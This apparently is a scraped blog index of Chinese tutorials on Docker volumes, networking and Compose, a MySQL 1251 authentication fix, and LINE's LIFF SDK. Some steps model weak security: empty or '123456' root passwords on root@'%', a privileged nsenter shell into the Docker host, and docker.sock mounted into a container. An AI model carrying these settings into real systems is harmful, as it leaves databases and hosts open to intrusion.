Volumes 1 docker volume ls 若想查看 Volume 詳細資訊 1 2 3 4 5 6 7 8 9 10 11 12 13 docker volume inspect \u0026lt;VolumeName\u0026gt; [ { \u0026#34;CreatedAt\u0026#34;: \u0026#34;2022-03-13T06:48:16Z\u0026#34;, \u0026#34;Driver\u0026#34;: \u0026#34;local\u0026#34;, \u0026#34;Labels\u0026#34;: {}, \u0026#34;Mountpoint\u0026#34;: \u0026#34;/var/lib/docker/volumes/myvolume/_data\u0026#34;, \u0026#34;Name\u0026#34;: \u0026#34;myvolume\u0026#34;, \u0026#34;Options\u0026#34;: {}, \u0026#34;Scope\u0026#34;: \u0026#34;local\u0026#34; } ] 上述指令結果可以看到 Mountpoint，該資訊就是 Volume 實際儲存資料的路徑位置。\n但如果是 macOS 的使用者就會發現找不到 /var/lib/docker/ (no such file or directory: /var/lib/docker)：\n1 2 3 $ cd /var/lib/docker/volumes/ cd: no such file or directory: /var/lib/docker/volumes/ 這是由於 macOS 的 Docker 是用 LinuxKit 模擬的，因此路徑又被包裝過一層，其大致在以下的路徑：\n1 $ cd ~/Library/Containers/com.docker.docker/Data/vms/0/ 可於上述資料夾內發現 1 個名稱為 tty 的檔案，用指令 screen tty 就能夠進入 LinuxKit 內，然後就能發現 /var/lib/docker/volumes 資料夾，然後就能順利找到相對應的 Volume 囉！\n不過 Docker Desktop for Mac version 2.3.0.4 以後就沒有 tty 檔案了，但還是可以使用以下指令進入 Docker 的 host machine 並且找到 /var/lib/docker/volumes：\n1 docker run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh 1 ls /var/lib/docker/volumes/ 若想移除 Volume 1 docker volume rm \u0026lt;VolumeName\u0026gt; Volume 的 2 種參數 掛載 Volume 時，除了 -v 參數可以使用之外，還有 --mount 參數可以使用，基本上 2 者功能是相同的，但差別在於參數格式不一樣之外， --mount 可設定的選項也相較多一點。\n-v 參數 -v 的參數值是以 : 做為分隔的 3 個欄位值，分別是 \u0026lt;Volume名稱\u0026gt;:\u0026lt;容器內的掛載路徑\u0026gt;:\u0026lt;Volume選項\u0026gt;。\n\u0026lt;Volume名稱\u0026gt;： 可以是 Docker 的 Volume 名稱，該名稱可以用指令 docker volume ls 列出，其值對應的是 VOLUME NAME 一欄。如果這邊用的是實際系統路徑的話，Docker 就會自動轉為使用 bind mount，而非 Volume。 \u0026lt;容器內的掛載路徑\u0026gt;： 容器(Container)內的路徑。 \u0026lt;Volume選項\u0026gt; 例如 ro 代表唯讀(read only)。 例如掛載唯讀(read only)的 Volume：\n1 docker run -it -v myvolume:/data:ro debian /bin/bash \u0026ndash;mount 參數 --mount 參數則可以視為 -v 參數的進階版。\n--mount 更加口語(verbose)化，在 Volumes 的設定上都會明確以 \u0026lt;key\u0026gt;=\u0026lt;value\u0026gt; 的形式進行設定（當 \u0026lt;key\u0026gt; 為 readonly 時，可以直接省略 =\u0026lt;value\u0026gt; 的部分），多個 key 值之間則以逗號(,)進行分割，而且設定的順序上並不像 -v 參數那般有順序上的要求。\n目前可使用的 \u0026lt;key\u0026gt; 值有：\nsource destination type readonly volume-driver volume-opt source\nsource 是欲掛載 Volume 的名稱，該名稱可以用指令 docker volume ls 列出，其值對應的是 VOLUME NAME 一欄。\ndestination\ndestination 是容器(Container)內掛載 Volume 內的路徑。\ntype\n其值可以是 bind、volume、tmpfs 其中 1 個，一般使用 volume 即可，是 Docker 推薦的方式；如果使用 bind 則代表使用 bind mounts；最後 1 種 tmpfs 則代表 tmpfs mount，通常 tmpfs 用以儲存非持久性(non-persistent)的資料，例如暫存檔案、快取(cache)等等，也可用以提升容器的效能，也由於 tmpfs 是非持久性(non-persistent)的儲存，所以當容器(container)關閉後，該 volume 內的資料也會跟著消失。\nIf your container generates non-persistent state data, consider using a tmpfs mount to avoid storing the data anywhere permanently, and to increase the container’s performance by avoiding writing into the container’s writable layer.\n建立一個 tmpfs 的 Volume 指令如下：\n1 docker volume create -o type=tmpfs -o device=tmpfs \u0026lt;VolumeName\u0026gt; 例如以下指令建立 1 個名為 mytmpfs 的 tmpfs volume：\n1 docker volume create -o type=tmpfs -o device=tmpfs mytmpfs 除了新增 Volume 後掛載 tmpfs volume 之外，當然也可以直接以 --mount 參數方式掛載 tmpfs volume：\n1 docker run -it --mount type=tmpfs,destination=/data debian /bin/bash 上述指令其實等同於， Docker 也有提供 --tmpfs 參數可以使用：\n1 docker run -it --tmpfs /data debian /bin/bash readonly\n將 Volume 設定為唯讀(read only)。等同於 -v 參數中的 ro 選項。\n以 --mount 參數掛載唯讀 Volume 的範例：\n1 docker run -it --mount source=myvolume,destination=/data,readonly debian /bin/bash volume-driver\nDocker 將儲存(storage)的概念抽象化為 driver (或稱驅動器)，透過使用不同的 driver 可以介接各式各樣的檔案系統，例如 NFS(Network File System)、SSHFS(SSH Filesystem) 甚至是 AWS S3 等等，預設是使用 local driver，也就是 volume-driver=local。\n如果想使用其他 driver 可以查看以下文件：\nDocker volume plugins 或 Available volume plugins Docker engine managed plugin system 這些文件列出第三方提供的各種 Volume plugin 的安裝與使用方式之外，也紀錄如何使用 Docker 官方提供的指令(docker plugin install \u0026lt;pluginName\u0026gt;)安裝 Volume plugin 以及 Volume plugin 的開發方法。\nvolume-opt\nvolume-opt 用以設定 Volume 相關的選項，volume-opt 的數量並沒有限制，端看 volume driver 提供哪些選項可以使用，詳細能夠使用的選項可以參考 FILESYSTEM-SPECIFIC MOUNT OPTIONS 章節。\n值得注意的是 tmpfs 並不支援 volume-opt 的用法，如果 2 者合用就會出現以下錯誤：\n1 cannot mix \u0026#39;volume-*\u0026#39; options with mount type \u0026#39;tmpfs\u0026#39; 練習： 用 Docker 跑 MySQL 目標 希望 Database 在 Container 刪除後，還能留下來被新建立的 Container 重新使用，不會一起消失不見。\n方法一 (網路查找的標準步驟) 建立存放 MySQL /var/lib/mysql 資料庫檔案的 Persistent Volume，命名為 mysql-data。 1 docker create -v /var/lib/mysql --name mysql-data mysql:5.7.18 以剛建立出來的 Volume mysql-data 作為 storage 把 MySQL runner 跑起來。 指定 MySQL 版本為 5.7.18。 設定 MYSQL_RANDOM_ROOT_PASSWORD=yes 環境變數，讓 MySQL Docker 自動產生 MySQL root 帳號的亂數密碼。 命名為 mysql-runner。 指令如下：\n1 2 3 docker run -p 3306:3306 -v /var/lib/mysql --volumes-from mysql-data --name mysql-runner -d -e MYSQL_RANDOM_ROOT_PASSWORD=yes mysql:5.7.18 \u0026gt; d746048e41b7 以 Container ID 查詢 log 找到 MySQL 自動建立的亂數密碼。 1 2 3 4 5 6 docker logs d746048e41b7 \u0026gt; Initializing database \u0026gt; ... \u0026gt; GENERATED ROOT PASSWORD: Aethov1phae2Ju5B \u0026gt; ... 再起一個臨時 Container 開 shell 跑 mysql-client，配合亂數密碼連進 mysql-runner 的 MySQL server，用完即丟。 1 docker run -it --link mysql-runner:mysql --rm mysql sh -c \u0026#39;exec mysql -h \u0026#34;$MYSQL_PORT_3306_TCP_ADDR\u0026#34; -P \u0026#34;$MYSQL_PORT_3306_TCP_PORT\u0026#34; -u root -p \u0026#34;Aethov1phae2Ju5B\u0026#34;\u0026#39; 也可以用 docker inspect 找到 mysql-runner Container 的 IP，從 host 連進去。\n1 mysql -h 172.17.0.20 -u root -P 3306 -p Aethov1phae2Ju5B 方法二 (自行實驗的步驟過程) 第 1 ~ 9 步驟皆於自行測試階段，可直接跳到第 10 步驟。\n創建一個 MySQL 的 Container，並使用沒有密碼的環境變數。 1 docker run -d --name mysql1 -e MYSQL_ALLOW_EMPTY_PASSWORD mysql 這時候用 docker ps 查看 Container 會發現 mysql1 沒有啟動成功，使用 docker logs mysql1 查看，就會顯示要指定 MYSQL_ROOT_PASSWORD。 1 2 3 4 5 6 7 docker logs mysql1 \u0026gt; 2020-03-01 02:36:05+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.19-1debian9 started. \u0026gt; 2020-03-01 02:36:05+00:00 [Note] [Entrypoint]: Switching to dedicated user \u0026#39;mysql\u0026#39; \u0026gt; 2020-03-01 02:36:05+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.19-1debian9 started. \u0026gt; 2020-03-01 02:36:06+00:00 [ERROR] [Entrypoint]: Database is uninitialized and password option is not specified \u0026gt; You need to specify one of MYSQL_ROOT_PASSWORD, MYSQL_ALLOW_EMPTY_PASSWORD and MYSQL_RANDOM_ROOT_PASSWORD 在創建 MySQL Container 的同時，也會新增一個 Volume，要將該 Volume 移除。 1 2 3 docker rm mysql1 docker volume ls docker volume rm [Volume id] 再次創建一個 MySQL 的 Container。 1 docker run -d --name mysql1 -e MYSQL_ALLOW_EMPTY_PASSWORD=true mysql 這時候我們可以去查看新增的 Volume 的細節，裡面就會看到這個 Volume 連結到本地的 /var/lib/docker/volumes/[Volume id]/_data 這個位置。 1 2 docker volume ls docker volume inspect [Volume id] 我們在創建第二個 MySQL 的 Container。 1 docker run -d --name mysql2 -e MYSQL_ALLOW_EMPTY_PASSWORD=true mysql 這時候再 docker volume ls，就會發現新增了一個新增的 Volume。\n把 Container 停止並刪除，再查看 Container 狀態就會發現沒有任何退出或在執行的 Container 了。\n1 2 3 docker stop mysql1 mysql2 docker rm mysql1 mysql2 docker ps -a 使用 docker volume ls 查看 Volume，之前新增的都還在，但是會發現命名太複雜，我們可以自定義 Volume 名稱，先把所有的 Volume 移除。 1 docker volume rm [volume1 id] [volume2 id] 創建一個 MySQL 的 Container 並指定 Volume 名稱為 mysql，路徑為 /var/lib/mysql。 1 docker run -d -v mysql:/var/lib/mysql --name mysql1 -e MYSQL_ALLOW_EMPTY_PASSWORD=true mysql 使用 docker volume ls 查看 Volume，就會看到新增的 mysql Volume。\n為了驗證 MySQL 的數據持久，我們進去 mysql1 的 Container 新增一個新的 database：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 進入 mysql1 container docker exec -it mysql1 /bin/bash # 登入 MySQL mysql -u root # 列出 DB show databases; # 建立 DB create database docker; exit; exit 停止並刪除 Container： 1 docker rm -f mysql1 創建一個新的 MySQL 的 Container，並連結到之前的 Volume： 1 docker run -d -v mysql:/var/lib/mysql --name mysql2 -e MYSQL_ALLOW_EMPTY_PASSWORD=true mysql 進去 mysql2 的 Container 查看 databases，會發現之前新增的 Database 還存在： 1 2 3 4 5 6 7 8 # 進入 mysql2 container docker exec -it mysql2 /bin/bash # 登入 MySQL mysql -u root # 列出 DB show databases; Docker Network Docker Network 原理 每個 Container 會包含一項服務，如前端、後端、資料庫，Container 之間能不能互相溝通藉此串聯起一個更大的服務應用呢？ 可以的，以下講解 Docker Network 的簡單原理。\ndocker network ls： 查看所有網路。 docker network inspect \u0026lt;NetworkName\u0026gt;： 檢視細部網路設定。 查看所有網路可以發現默認有分成 host 與 bridge ，Bridge 是 Linux 的虛擬網路橋接技術，將 Bridge 打開可以發現裡面包含兩個 Container，也就是我上一個章節建立的 Web_App 與 Web_Vol，IP 位置分別是 172.17.0.2、172.17.0.3，詳細網路架構圖如下：\n安裝 Docker 後會新增一個 Docker 網卡默認 IP 為 172.17.0.1/16 (host)，他會接收來自本網卡(eth0)的轉發封包。新建立的 Container 則是會自動生成 IP 172.17.X.X 依序排列下去。\nContainer 互相訪問 那 Container 的互相訪問很簡單，直接訪問 172.17.X.X 的 IP 就好了，我們來實驗看看：\n1 2 3 4 5 6 7 8 9 10 11 12 # 進入container docker exec -it Web_APP bash # 查看docker 網路 cat /etc/hosts # 安裝相關網路工具 apt-get update apt-get install curl # 測試去抓其他Container curl 172.17.0.3 如下圖，本 Docker IP 為 172.17.0.2，可以成功抓到其他 Container 的資料。\nNetwork 映射 但是 Container 的 IP 為自動生成，我們的程式在部屬的時候不可能部屬上去後才改 IP。有一個好方法，做網路映射 --link。\n1 docker run --link \u0026lt;外部Container\u0026gt;:\u0026lt;內部Network名稱\u0026gt; \u0026lt;ImageName\u0026gt; 1 2 3 4 5 6 7 8 # 建立新的有連結的 APP 叫做 Web_Network docker run -it -d --name Web_Network -p 8082:80 --link Web_APP:Web_APP --link Web_Vol:Web_Vol httpd:2.4 # 進入 Container docker exec -it Web_Network bash # 查看 Network cat /etc/hosts 可以看到 Network 自動多了兩個網路 IP，Web_APP 與 Web_Vol。\n直接透過名稱抓抓看：\n1 2 curl Web_APP curl Web_Vol 成功獲得：\n不過實務上也不會透過 --link 的方式來建立 Network 映射。更常使用的會是 docker-compose。\nDocker Compose Docker Compose 是什麼？ 多 Container 的 App 太麻煩 要 docker build image 或是從 Docker Hub pull Image 要創建多個 container 要管理這些 container (啟動和刪除) Docker Compose 是什麼 Docker Compose 是一個工具(基於 Docker 的命令列工具) 這個工具可以透過 YAML 定義多 Container 的 Docker 應用 通過一條命令就可以根據 YAML 文件的定義去創建或管理多個 Container 默認文件：docker-compose.yml，三大概念：Services、Networks、Volumes Services 一個 Service 代表一個 Container，這個 Container 可以從 Docker Hub Image 來創建，或是從本地的 Dockerfile build 出來的 Image 來創建 Services 的啟動類似 docker run，我們可以給其指定 Network 和 Volume 以下用 docker-compose 的 service 和 docker run 產生同樣的容器 1 2 3 4 5 6 7 8 9 10 11 # Docker Compose services: db: image: postgres:9.4 volumes: - \u0026#34;db-data:/var/lib/postgresql/data\u0026#34; networks: - back-tier # docker run # docker run -d --network back-tier -v db-data:/var/lib/postgresql/data postgres:9.4 Volumes 和 Networks 在跟 services 一樣的級別底下會有 volumes 和 networks 1 2 3 4 5 6 7 8 9 10 11 12 # Docker Compose volumes: db-data networks: front-tier: driver: bridge back-tier: driver: bridge # docker volume 與 docker network # docker volume create db-data # docker network create -d bridge back-tier 範例：新增一個 WordPress 的 docker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # docker-compose 版本 version: \u0026#39;3\u0026#39; services: wordpress: image: wordpress ports: - 8080:80 environment: WORDPRESS_DB_HOST: mysql WORDPRESS_DB_PASSWORD: root networks: - my-bridge mysql: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: wordpress volumes: - mysql-data:/var/lib/mysql networks: - my-bridge volumes: mysql-data: networks: my-bridge: driver: bridge 使用 docker-compose.yml 在虛擬機上安裝 docker-compose，按照官方文件進行安裝。 1 2 3 4 5 # 下載 Docker Compose sudo curl -L \u0026#34;https://github.com/docker/compose/releases/download/1.25.4/docker-compose-$(uname -s)-$(uname -m)\u0026#34; -o /usr/local/bin/docker-compose # 給予權限 sudo chmod +x /usr/local/bin/docker-compose 在剛剛建立 wordpress.yml 的資料夾啟動 Container，這邊的 -f 預設就是 docker-compose.yml，可以不填。 1 2 3 docker-compose -f docker-compose.yml up # or # docker-compose up 如果執行 docker-compose up 之後再使用 Command + C 退出會直接停止服務，所以可以讓指令在後台執行 docker-compose up -d，如果想要 debug 看 log，才會使用 docker-compose up。\ndocker-composer 相關指令：\ndocker-compose stop： 會停止服務 docker-compose down： 會刪除所有服務(包含 Cotainers、Images、Volumes 和 Networks) docker-compose start： 可以啟動服務 docker-compose ps： 查看服務狀態 docker-compose images： 查看所有 Images docker-compose exec： 對 Container 執行指令 docker-compose exec 和 docker exec 基本上是一樣的，執行以下指令可以直接進去 Container 裡： 1 2 docker-compose exec mysql bash docker-compose exec wordpress bash 將 wordpress 服務停止並刪除： 1 docker-compose down 新增 docker-compose.yml。 docker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 version: \u0026#34;3\u0026#34; services: redis: image: redis web: build: context: . dockerfile: Dockerfile ports: - 8080:5000 environment: REDIS_HOST: redis 新增 Dockerfile。 Dockerfile 1 2 3 4 5 6 7 FROM python:2.7 LABEL maintaner=\u0026#34;xxx@gmail.com\u0026#34; COPY . /app WORKDIR /app RUN pip install flask redis EXPOSE 5000 CMD [ \u0026#34;python\u0026#34;, \u0026#34;app.py\u0026#34; ] 新增 app.py。 app.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask from redis import Redis import os import socket app = Flask(__name__) redis = Redis(host=os.environ.get(\u0026#39;REDIS_HOST\u0026#39;, \u0026#39;127.0.0.1\u0026#39;), port=6379) @app.route(\u0026#39;/\u0026#39;) def hello(): redis.incr(\u0026#39;hits\u0026#39;) return \u0026#39;Hello Container World! I have been seen %s times and my hostname is %s.\\n\u0026#39; % (redis.get(\u0026#39;hits\u0026#39;),socket.gethostname()) if __name__ == \u0026#34;__main__\u0026#34;: app.run(host=\u0026#34;0.0.0.0\u0026#34;, port=5000, debug=True) 使用 docker-compose up 就可以啟動服務了，這時候打開本地的瀏覽器就可以看到 flask 的頁面了。 水平擴展和附載均衡(附載平衡) 用 docker-compose 的 --scale 啟動三個 web，但是會出現錯誤，會顯示 8080 已被佔用： 1 docker-compose up --scale= web=3 -d 修改 docker-compose.yml 把 port 刪除。 docker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 version: \u0026#34;3\u0026#34; services: redis: image: redis web: build: context: . dockerfile: Dockerfile environment: REDIS_HOST: redis 這時候在分別執行以下命令，Container 就會被啟動： 1 2 docker-compose up -d docker-compose up --scale web=3 -d 關閉所有的 Contaienr： 1 docker-compose down 修改 docker-compose.yml，加上 loadbalancer。 docker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 version: \u0026#34;3\u0026#34; services: redis: image: redis web: build: context: . dockerfile: Dockerfile environment: REDIS_HOST: redis lb: image: dockercloud/haproxy links: - web ports: - 8080:80 volumes: - /var/run/docker.sock:/var/run/docker.sock 啟動 docker-compose： 1 docker-compose up -d 把網頁內容讀取出來 curl 127.0.0.1:8080 會返回 Container 的 ID： 1 \u0026gt; Hello Container World! I have been seen 1 times and my hostname is 5620b14f864a. 然後把 web 服務擴展成 3 個： 1 docker-compose up --scale web=3 -d 再把網頁內容讀出來，會發現有 3 個 Container id 會輪流出現： 1 2 3 4 5 6 7 8 \u0026gt; Hello Container World! I have been seen 2 times and my hostname is 5620b14f864a. \u0026gt; Hello Container World! I have been seen 3 times and my hostname is 923de444e90d. \u0026gt; Hello Container World! I have been seen 4 times and my hostname is 1fde842de3f1. \u0026gt; Hello Container World! I have been seen 5 times and my hostname is 5620b14f864a. \u0026gt; Hello Container World! I have been seen 6 times and my hostname is 923de444e90d. \u0026gt; Hello Container World! I have been seen 7 times and my hostname is 1fde842de3f1. \u0026gt; Hello Container World! I have been seen 8 times and my hostname is 5620b14f864a. \u0026gt; Hello Container World! I have been seen 9 times and my hostname is 923de444e90d. 我們也可以把服務擴展成 5 台： 1 docker-compose up --scale web=5 -d 這時候直接 curl 10 次： 1 2 3 4 5 6 7 8 9 10 11 12 for i in `seq 10`; do curl 127.0.0.1:8080; done \u0026gt; Hello Container World! I have been seen 10 times and my hostname is 5620b14f864a. \u0026gt; Hello Container World! I have been seen 11 times and my hostname is 923de444e90d. \u0026gt; Hello Container World! I have been seen 12 times and my hostname is 1fde842de3f1. \u0026gt; Hello Container World! I have been seen 13 times and my hostname is 37c3b132c4bd. \u0026gt; Hello Container World! I have been seen 14 times and my hostname is c2e3df63ddec. \u0026gt; Hello Container World! I have been seen 15 times and my hostname is 5620b14f864a. \u0026gt; Hello Container World! I have been seen 16 times and my hostname is 923de444e90d. \u0026gt; Hello Container World! I have been seen 17 times and my hostname is 1fde842de3f1. \u0026gt; Hello Container World! I have been seen 18 times and my hostname is 37c3b132c4bd. \u0026gt; Hello Container World! I have been seen 19 times and my hostname is c2e3df63ddec. 同樣地，也可以減少擴展： 1 docker-compose up --scale web=3 -d Docker Compose 是用於本地開發的一個工具，並不適合用於 Production，它就是為了方便在本地看部署的結果。 ","date":"2023-02-02T00:00:00Z","image":"https://live.staticflickr.com/65535/52664455010_4e163f06ec_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-02/docker-persistent-volume/","title":"【Docker】數據持久化與數據共享 - tmpfsMount/BindMount/Volume"},{"content":" 參考網站\n參考網站\n參考網站\n在使用比較新版本的 MySQL 時，明明輸入了正確的密碼還是出現 1251 Error 錯誤訊息如下：\nClient does not support authentication protocol requested by server. Consider upgrading MySQL client\n每次遇到這個問題總是要 Google 一次太麻煩了，直接紀錄此問題的解決方式。\n問題描述 使用 Navicat 客戶端連接本地 MySQL，報錯：1251 - Client does not support authentication protocol requested by server. Consider upgrading MySQL client。\n問題的主要原因是因為 MySQL 8 之前的版本中，加密規則是 mysql_native_password，而在 MySQL 8 之後，加密規則是 caching_sha2_password，加密算法變了，有些 Client 工具沒有更新而導致。\n解決方式 解決方式有兩種：\n升級 navicat 驅動。 把 MySQL 使用者登入的密碼加密規則還原成 mysql_native_password。 這邊採用第 2 種方法解決，具體操作步驟如下：\n打開命令列 Terminal，進入 MySQL 的 bin 目錄，輸入如下登入 MySQL： 1 2 3 mysql -u root -p # 輸入密碼後成功登入 執行 SQL 查詢使用者資訊： 1 SELECT host, user, plugin, authentication_string FROM mysql.user; 備註：host 為 % 表示不限制 IP；localhost表示本機使用；plugin 非 mysql_native_password 則需要修改密碼。\n修改密碼： 在命令行輸入如下命令，修改密碼。\n1 2 3 4 5 -- 更新 root 帳號，host 為 % 的密碼為 123456 ALTER USER \u0026#39;root\u0026#39;@\u0026#39;%\u0026#39; IDENTIFIED WITH mysql_native_password BY \u0026#39;123456\u0026#39;; -- 更新 root 帳號，host 為 localhost 的密碼為 123456 ALTER USER \u0026#39;root\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED WITH mysql_native_password BY \u0026#39;123456\u0026#39;; 或者：\n1 2 3 4 5 6 7 8 -- 修改加密規則 ALTER USER \u0026#39;root\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;password\u0026#39; PASSWORD EXPIRE NEVER; -- 更新一下使用者的密碼 ALTER USER \u0026#39;root\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED WITH mysql_native_password BY \u0026#39;password\u0026#39;; -- 刷新權限 FLUSH PRIVILEGES; 再次查詢使用者資訊： 重新使用 Navicat 連接 MySQL，連接成功。 ","date":"2023-02-02T00:00:00Z","image":"https://live.staticflickr.com/65535/52664722338_fb8cdac86d_o.png","permalink":"https://blog.wayne-project.com/2023-02-02/mysql-1251-error/","title":"【MySQL】1251 Error 的解決方式"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n我最早接觸 LIFF 的時候已經是 2019 的時候了，當時的 LIFF v1 與現在的 LIFF v2 已經有了蠻大的差異，我想透過這篇文章梳理一下 LIFF v2 新版本的特性，好讓我們可以更方便的在網站上透過 LIFF 提供 LINE 用戶一些好用功能。\n正確理解 LIFF 的用途 雖然說 LINE Front-end Framework (LIFF) 從名字上看起來是一套由 LINE 推出的前端框架，但事實上他的用途比較像是一個函式庫(Library)，讓你可以在 LINE 平台(LINE Platform) 順利的開發網頁應用程式(Web Application)，幫助開發人員可以輕鬆的透過 LIFF 提供的 API 跟 LINE 用戶進行互動。\n任何從 LINE 平台開啟的網頁，而網頁使用到 LIFF 提供的 JavaScript SDK，都可以稱為是一個 LIFF Apps！\n所以在 LINE 平台上開發網頁，是一個什麼樣的情境與感受呢？什麼又是 LINE 平台呢？事實上，LINE 這家公司不但有龐大的用戶基礎，它們提供的各項服務也是琳瑯滿目，所有服務的加總，就是 LINE 平台，大家都可以在這個平台上開發 Web 應用程式。以下我用一個最淺顯易懂的使用情境來說明：\n假設某甲經營著一個團購生意，客戶都是透過 LINE 官方帳戶(Official Account) (簡稱 LINE OA 帳戶) 進行聯繫，當某甲想提供他的客戶一個團購的表單時，最簡單的方式就是直接傳送一個連結給他的客戶，而這個連結就是一個「網頁」並擁有一個「網址」對吧！如果你是 Web 開發人員，就可以在這份「網頁」中加入 LIFF SDK，並使用 LIFF SDK 提供的 API 來取得客戶基本資料，或是設計一些便利的 Web UI 介面幫助客戶在 LINE 聊天室中下單。這就是一個 LIFF App 的經典使用情境！👍\n要認識 LIFF 最快的方式，就是直接開啟 LIFF Playground 網頁，快速預覽所有 LIFF SDK 提供的各項功能，讓你很清楚的知道 LIFF 可以做哪些事！以下我列出幾個 LIFF Playground 的亮點：\n幫助 LINE 用戶登入/登出：\n事實上，這些使用到 LIFF SDK 的 LIFF Apps 並不一定要跑在 LINE App 之中，也就是說，他不一定要直接從 LINE App 開啟這份網頁。這個 LIFF Apps 其實也可以是一個獨立網頁，在任何一台電腦或手機開啟網頁也行。只是在 LINE App 之中開啟網頁可以省去「登入」的程序，使用者的操作門檻會更低一些！\n取得 LINE 用戶的裝置資訊：\n你可以透過 LIFF SDK 提供的 API 取得使用者的作業系統(OS)、使用的語言(Language)、目前 LIFF SDK 使用的版本、目前 LINE App 的版本、判斷網頁是否開在 LIFF Browser 之中、判斷用戶目前是否是登入狀態、判斷用戶目前環境可以使用哪些 LIFF API。\n取得 LINE 用戶基本資料：\n取得用戶的 Access Token、取得用戶的 ID Token、取得 ID Token 解開後的內容、取得 Context 資訊、取得基本資料(只有使用者唯一值、顯示名稱與大頭照)、取得與 LINE OA 之間的好友狀態。\n強化 UI 互動的小功能：\n你可以在 LIFF 永久連結上加入額外參數、可以幫 LINE 用戶直接送出訊息到 OA 帳戶的聊天室中、從 LIFF Browser 開啟連結到新視窗、從 LIFF Browser 關閉視窗、分享資訊給好友、取得 QRCode 掃描結果。\n當你已經瞭解 LIFF 用途之後，開發人員就可以直接看 LIFF v2 API reference 參考文件，這裡有更多 LIFF SDK 與 API 的技術細節。\n正確理解 LIFF Browser 的用途 在 LINE 平台中可以使用以下 4 種瀏覽器類型，很多人搞不清楚其中的差別，我特別重點說明一下：\nLINE In-App Browser LINE In-App Browser：\n在 LINE App 任意位置開啟的連結，預設都會開啟一個內嵌在 LINE App 中的瀏覽器，這種瀏覽器幾乎與一般瀏覽器無異，但其實在使用上有諸多限制，建議開發人員不要把他當成「正常」的瀏覽器來使用，當成「閱讀網頁內容」的工具會比較好一些，不要做太多需要登入才能用的功能在上面。\nLINE In-App Browser 雖然支援 Cookies 與 localStorage 操作，但沒人保證可以儲存多久，可能 App 升級一下資料就清除了，對使用者來說其實很不好用。\nLINE LIFF Browser LINE LIFF Browser：\n這是一個相當特殊的瀏覽器類型，他只有透過 LIFF App 的專用網址才能開啟，網址結構如下：\n1 https://liff.line.me/{LIFF_ID} 這個 LIFF App 專用網址必須跟 LINE Developers 之中的 LINE Login 或 LINE MINI App 頻道(Channel)綁定，事先在「頻道」中建立一組 LIFF_ID 才能使用。在 LIFF SDK 中，有部分 API 只有在 LINE LIFF Browser 之中才能使用！\n使用 LIFF App 專用網址開啟的網頁，不一定要使用 LIFF SDK 來實作，只是用了 LIFF SDK 就可以享受許多 LINE LIFF Browser 才有的功能，可以降低開發門檻。其他開啟 LIFF App 的說明文件可以參考 Opening a LIFF app 說明！\n這個 LIFF Browser 也支援「最小化」功能，把剛開啟的 LIFF App 最小化成一個 Icon，隨時可以點擊 Icon 恢復瀏覽器顯示，還蠻方便的。詳情請見 Minimizing LIFF browser 說明！👍\nLINE MINI App LINE MINI App：\n這也是一個相當特殊的瀏覽器類型，其用途跟 LINE LIFF Browser 相當類似，都需要專用網址才能打開，但是跟 LINE LIFF Browser 不同的地方在於，LINE MINI App 可以打包上架為一個 LINE 服務，可以讓使用者在 LINE App 的「主頁」搜尋到這個 LINE MINI App，使用上會方便許多，通常只有知名品牌才會選用這種方式上架。目前 LINE MINI App 只有指定的 LINE 技術合作夥伴或特定主題或品牌才能通過審核，在台灣尚未公開給大眾申請。\nExternal Browser External Browser：\n你可以在 LINE App 之中已經開啟的瀏覽器，額外再開啟一個「外部瀏覽器」(External Browser)，使用手機的預設瀏覽器來開啟網頁，這種網頁在瀏覽的時候就可以用到完整的瀏覽器能力，雖然可以解決 LINE App 之中的其他瀏覽器類型所提到的一些限制，但卻會失去一些在 LINE 裡面開啟網頁的方便性，例如：自動登入。\n除此之外，你直接用桌機的任意瀏覽器開啟一個有使用 LIFF SDK 的網頁，對 LIFF SDK 來說，這個瀏覽器本身就是一個「外部瀏覽器」(External Browser)，你可以透過 LIFF SDK 非常輕鬆的實現 LINE Login 機制，只要呼叫 liff.login() 即可！👍\n開始使用 LIFF SDK 開發網頁 在任何一個網頁上，只要加入 LIFF SDK 檔案，這是一個 JavaScript 檔，就可以立即開始使用，以下是在任意網頁加入 LIFF 的標準作業流程：\n設定網頁標題 (Page Title)\n請在 HTML 的 \u0026lt;head\u0026gt; 區段中加入 \u0026lt;title\u0026gt; 標籤，理論上每一份 HTML 應該都有這個標籤定義才對！ 1 \u0026lt;title\u0026gt;The Will Will Web\u0026lt;/title\u0026gt; 加入 LIFF SDK\n請將 LIFF SDK 加入到網頁 \u0026lt;body\u0026gt; 最開頭的地方： 1 \u0026lt;script charset=\u0026#34;utf-8\u0026#34; src=\u0026#34;https://static.line-scdn.net/liff/edge/2/sdk.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 如果你的網站使用到任何其他前端框架，可能會想把 LIFF SDK 改用 npm 的方式安裝載入：\n1 2 3 npm install --save @line/liff # or # yarn add @line/liff 匯入 liff 物件的方法：\n1 import liff from \u0026#39;@line/liff\u0026#39;; 初始化 LIFF SDK\n初始化 LIFF SDK 是一個非常必要的操作，因為當你的網頁開在 LINE In-App Browser 或 LINE LIFF Browser 瀏覽器時，在 LIFF SDK 初始化過後才能呼叫某些 API 取得當前的環境資訊。這裡最重要的參數就是 liffId 了，你要先到 LINE Developers 的 LINE Login 或 LINE MINI App 頻道的 LIFF 頁籤內先建立一組 LIFF_ID，並將這個 LIFF_ID 設定到 liff.init() 的 liffId 參數上。 1 2 3 4 5 6 7 \u0026lt;script\u0026gt; liff.init({ liffId: \u0026#39;1566379427-xKvNdlJ9\u0026#39; }).then(() =\u0026gt; { // Start to use liff\u0026#39;s api }); 